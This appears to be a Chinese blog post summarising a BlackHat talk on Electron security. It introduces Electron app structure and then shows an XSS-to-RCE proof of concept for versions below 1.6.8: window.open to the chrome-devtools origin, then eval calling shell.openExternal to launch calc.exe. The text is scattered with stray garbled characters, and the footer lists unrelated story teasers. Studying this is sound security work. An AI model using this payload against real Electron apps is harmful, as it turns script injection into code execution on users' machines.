Electron框架XSS到RCE

BlackHat上的一個(gè)大牛介紹了Electron框架的一些安全問(wèn)題,學(xué)習(xí)了一下其中利用XSS實(shí)現(xiàn)RCE的流程,v1.6.8以下的electron版本存在該漏洞阻课。

文章地址:https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf

一、Electron框架

介紹

簡(jiǎn)單來(lái)說(shuō),Electron框架可以看作一個(gè)精簡(jiǎn)版的Chrome瀏覽器浦楣,開(kāi)發(fā)者只需利用JavaScript/Html/Css等Web相關(guān)技術(shù)就可以開(kāi)發(fā)跨平臺(tái)的桌面應(yīng)用,該框架非常適用于偏業(yè)務(wù)型的應(yīng)用開(kāi)發(fā)咪辱。市面上有很多成熟的應(yīng)用振劳,比如VS Code,Atom等油狂。

基本目錄結(jié)構(gòu)

一個(gè)Electron應(yīng)用主要有3個(gè)文件历恐,index.html,main.js专筷,和package.json


目錄結(jié)構(gòu).png

其中index.html是要展示的內(nèi)容

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
</head>
<body>
    <h1>Hello World!</h1>
    We are using node
    <script>
        document.write(process.versions.node)
    </script>, Chrome
    <script>
        document.write(process.versions.chrome)
    </script>, and Electron
    <script>
        document.write(process.versions.electron)
    </script>.
</body>
</html>

main.js是用于啟動(dòng)應(yīng)用的文件

const { app, BrowserWindow } = require('electron')
const path = require('path')
const url = require('url')

// 保持一個(gè)對(duì)于 window 對(duì)象的全局引用弱贼,如果你不這樣做,
// 當(dāng) JavaScript 對(duì)象被垃圾回收磷蛹, window 會(huì)被自動(dòng)地關(guān)閉
let win

function createWindow() {
  // 創(chuàng)建瀏覽器窗口吮旅。
  win = new BrowserWindow({ width: 800, height: 600 })

  // 加載應(yīng)用的 index.html。
  win.loadURL(url.format({
    pathname: path.join(__dirname, 'index.html'),
    protocol: 'file:',
    slashes: true
  }))

  // 打開(kāi)開(kāi)發(fā)者工具味咳。
  win.webContents.openDevTools()

  // 當(dāng) window 被關(guān)閉庇勃,這個(gè)事件會(huì)被觸發(fā)。
  win.on('closed', () => {
    // 取消引用 window 對(duì)象槽驶,如果你的應(yīng)用支持多窗口的話责嚷,
    // 通常會(huì)把多個(gè) window 對(duì)象存放在一個(gè)數(shù)組里面,
    // 與此同時(shí)掂铐,你應(yīng)該刪除相應(yīng)的元素罕拂。
    win = null
  })
}

// Electron 會(huì)在初始化后并準(zhǔn)備
// 創(chuàng)建瀏覽器窗口時(shí),調(diào)用這個(gè)函數(shù)堡纬。
// 部分 API 在 ready 事件觸發(fā)后才能使用聂受。
app.on('ready', createWindow)

// 當(dāng)全部窗口關(guān)閉時(shí)退出。
app.on('window-all-closed', () => {
  // 在 macOS 上烤镐,除非用戶用 Cmd + Q 確定地退出蛋济,
  // 否則絕大部分應(yīng)用及其菜單欄會(huì)保持激活。
  if (process.platform !== 'darwin') {
    app.quit()
  }
})

app.on('activate', () => {
  // 在這文件炮叶,你可以續(xù)寫(xiě)應(yīng)用剩下主進(jìn)程代碼碗旅。
  // 也可以拆分成幾個(gè)文件渡处,然后用 require 導(dǎo)入。
  if (win === null) {
    createWindow()
  }
})

// 在這文件祟辟,你可以續(xù)寫(xiě)應(yīng)用剩下主進(jìn)程代碼医瘫。
// 也可以拆分成幾個(gè)文件,然后用 require 導(dǎo)入旧困。

package.json里是應(yīng)用的基本信息

{
  "name"    : "your-app",
  "version" : "0.1.0",
  "main"    : "main.js"
}

安裝electron后執(zhí)行命令即可運(yùn)行你的應(yīng)用

electron your-app/

二醇份、XSS到RCE

Electron中使用了一個(gè)標(biāo)記nodeIntegration用來(lái)控制頁(yè)面對(duì)node的API的訪問(wèn),只有nodeIntegration為true的時(shí)候吼具,才可以使用如require僚纷,process這樣的node API去訪問(wèn)系統(tǒng)底層資源。這個(gè)標(biāo)記可以直接在main.js中創(chuàng)建窗口時(shí)聲明:

win = new BrowserWindow({
  width: 800, height: 600, "webPreferences": {
    "nodeIntegration": true
  }
})

也可以作為webview的一個(gè)屬性:

<webview src="http://www.google.com/" nodeintegration></webview>

但是通常這個(gè)標(biāo)記都是false的拗盒,也就是普通頁(yè)面是沒(méi)辦法調(diào)用require的怖竭。但是在electron源碼中的lib/renderer/init.js有個(gè)判斷,在chrome-devtools這個(gè)特權(quán)域下陡蝇,nodeIntegration會(huì)變成true痊臭。

if (window.location.protocol === 'chrome-devtools:') {
  // Override some inspector APIs.
  require('./inspector')
  nodeIntegration = 'true'
}

接下來(lái)只需要用window.open繞過(guò)SOP跳到chrome-devtools域下,然后調(diào)用node API執(zhí)行系統(tǒng)命令就行了

win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');shell.openExternal('file:///C:/Windows/System32/calc.exe');");

如圖成功彈出計(jì)算器:

演示
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末登夫,一起剝皮案震驚了整個(gè)濱河市广匙,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌悼嫉,老刑警劉巖艇潭,帶你破解...
    沈念sama閱讀 206,126評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異戏蔑,居然都是意外死亡蹋凝,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén)总棵,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)鳍寂,“玉大人,你說(shuō)我怎么就攤上這事情龄∑矗” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,445評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵骤视,是天一觀的道長(zhǎng)鞍爱。 經(jīng)常有香客問(wèn)我,道長(zhǎng)专酗,這世上最難降的妖魔是什么睹逃? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,185評(píng)論 1 278
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上沉填,老公的妹妹穿的比我還像新娘疗隶。我一直安慰自己,他們只是感情好翼闹,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,178評(píng)論 5 371
  • 文/花漫 我一把揭開(kāi)白布斑鼻。 她就那樣靜靜地躺著,像睡著了一般猎荠。 火紅的嫁衣襯著肌膚如雪坚弱。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 48,970評(píng)論 1 284
  • 那天关摇,我揣著相機(jī)與錄音史汗,去河邊找鬼。 笑死拒垃,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的瓷蛙。 我是一名探鬼主播悼瓮,決...
    沈念sama閱讀 38,276評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼艰猬!你這毒婦竟也來(lái)了横堡?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 36,927評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤冠桃,失蹤者是張志新(化名)和其女友劉穎命贴,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體食听,經(jīng)...
    沈念sama閱讀 43,400評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡胸蛛,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,883評(píng)論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了樱报。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片葬项。...
    茶點(diǎn)故事閱讀 37,997評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖迹蛤,靈堂內(nèi)的尸體忽然破棺而出民珍,到底是詐尸還是另有隱情,我是刑警寧澤盗飒,帶...
    沈念sama閱讀 33,646評(píng)論 4 322
  • 正文 年R本政府宣布嚷量,位于F島的核電站,受9級(jí)特大地震影響逆趣,放射性物質(zhì)發(fā)生泄漏蝶溶。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,213評(píng)論 3 307
  • 文/蒙蒙 一汗贫、第九天 我趴在偏房一處隱蔽的房頂上張望身坐。 院中可真熱鬧秸脱,春花似錦、人聲如沸部蛇。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,204評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)涯鲁。三九已至巷查,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間抹腿,已是汗流浹背岛请。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,423評(píng)論 1 260
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留警绩,地道東北人崇败。 一個(gè)月前我還...
    沈念sama閱讀 45,423評(píng)論 2 352
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像肩祥,于是被迫代替她去往敵國(guó)和親后室。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,722評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容